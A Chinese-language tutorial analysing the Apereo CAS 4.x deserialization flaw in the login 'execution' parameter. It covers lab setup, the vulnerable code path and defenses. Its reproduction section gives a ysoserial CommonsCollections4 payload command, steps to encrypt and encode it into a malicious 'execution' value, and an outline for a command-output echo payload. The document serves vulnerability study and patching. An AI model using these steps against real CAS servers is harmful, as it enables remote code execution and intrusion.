Apereo CAS 4.X反序列化漏洞分析与复现教学文档
漏洞概述
Apereo CAS 4.X版本存在一个反序列化漏洞,攻击者可以通过构造恶意的序列化数据,在目标服务器上执行任意代码。该漏洞存在于登录流程中的execution参数处理过程中,由于对用户输入的反序列化操作未进行充分的安全检查,导致远程代码执行。
环境搭建
所需组件
- JDK版本:8u144(建议使用相同版本以避免兼容性问题)
- Apereo CAS版本:4.1.5
- CAS-Overlay-Template(从GitHub获取)
搭建步骤
-
从GitHub获取CAS-Overlay-Template:
https://github.com/apereo/cas-overlay-template/tree/4.1 -
修改pom.xml文件,确保CAS版本设置为4.1.5:
<cas.version>4.1.5</cas.version> -
编译项目,将在target目录生成cas.war文件
-
将cas.war部署到Tomcat的webapps目录下
-
启动Tomcat,通过
http://localhost/cas访问CAS实例
漏洞分析
漏洞触发点
漏洞存在于登录流程中的execution参数处理过程中。该参数值经过加密处理,服务器端会对其进行解密和反序列化操作。
关键处理流程
-
请求处理入口:
- 登录URL由Spring的DispatcherServlet处理
- 配置文件位于
/WEB-INF/cas-servlet.xml
-
处理器适配器:
- 使用
loginHandlerAdapter适配器 - 处理器类为
org.jasig.cas.web.flow.SelectiveFlowHandlerAdapter
- 使用
-
关键代码路径:
org.springframework.webflow.mvc.servlet.FlowHandlerAdapter#handle- 获取
flowExecutionKey(即execution参数值) - 调用
resumeExecution方法处理该值
-
参数格式验证:
flowExecutionKey必须包含"-"分隔符- 分隔符前为UUID,后为base64编码的flowstate
-
反序列化过程:
- 在
org.jasig.spring.webflow.plugin.EncryptedTranscoder#decode方法中 - 先对base64数据进行解密
- 然后进行反序列化操作
- 在
漏洞利用条件
- 目标系统使用Apereo CAS 4.X版本
- 系统包含commons-collections 4.0.jar
- 攻击者能够构造并发送恶意的
execution参数
漏洞复现
基本利用步骤
-
使用ysoserial生成payload:
java -jar ysoserial.jar CommonsCollections4 "command" > payload.bin -
使用EncryptedTranscoder的encode方法加密payload:
EncryptedTranscoder transcoder = new EncryptedTranscoder(); byte[] encrypted = transcoder.encode(payloadBytes); -
对加密后的数据进行base64编码
-
构造最终的
execution参数值:execution=uuid-<base64_encoded_encrypted_payload> -
发送恶意请求到CAS登录接口
回显payload构造
-
获取上下文信息:
ExternalContextHolder.getExternalContext() -
获取request和response对象:
getNativeRequest() getNativeResponse() -
使用
org.springframework.cglib.core.ReflectUtils.defineClass加载payload -
修改commons-collections利用链中的类构造方法,插入执行命令并输出结果的代码
防御措施
-
升级到Apereo CAS的最新版本(5.x及以上)
-
如果必须使用4.x版本,应实施以下措施:
- 限制反序列化的类白名单
- 对
execution参数进行严格的格式验证 - 移除或更新commons-collections库
-
实施Web应用防火墙规则,检测异常的
execution参数
参考资源
附录:关键代码片段
反序列化关键代码
// org.jasig.spring.webflow.plugin.EncryptedTranscoder#decode
public Object decode(byte[] encoded) throws IOException {
byte[] data = this.decrypt(encoded); // 先解密
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
return in.readObject(); // 反序列化操作
}
请求处理流程
// org.springframework.webflow.mvc.servlet.FlowHandlerAdapter#handle
public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
FlowHandler flowHandler = (FlowHandler)handler;
String flowExecutionKey = this.flowUrlHandler.getFlowExecutionKey(request);
if (flowExecutionKey != null) {
try {
ServletExternalContext context = this.createServletExternalContext(request, response);
FlowExecutionResult result = this.flowExecutor.resumeExecution(flowExecutionKey, context);
// ...后续处理
} catch (FlowException var11) {
this.handleFlowException(var11, request, response, flowHandler);
}
}
// ...
}
本教学文档涵盖了Apereo CAS 4.X反序列化漏洞的环境搭建、漏洞分析、复现方法和防御措施等关键内容,可作为安全研究和漏洞修复的参考指南。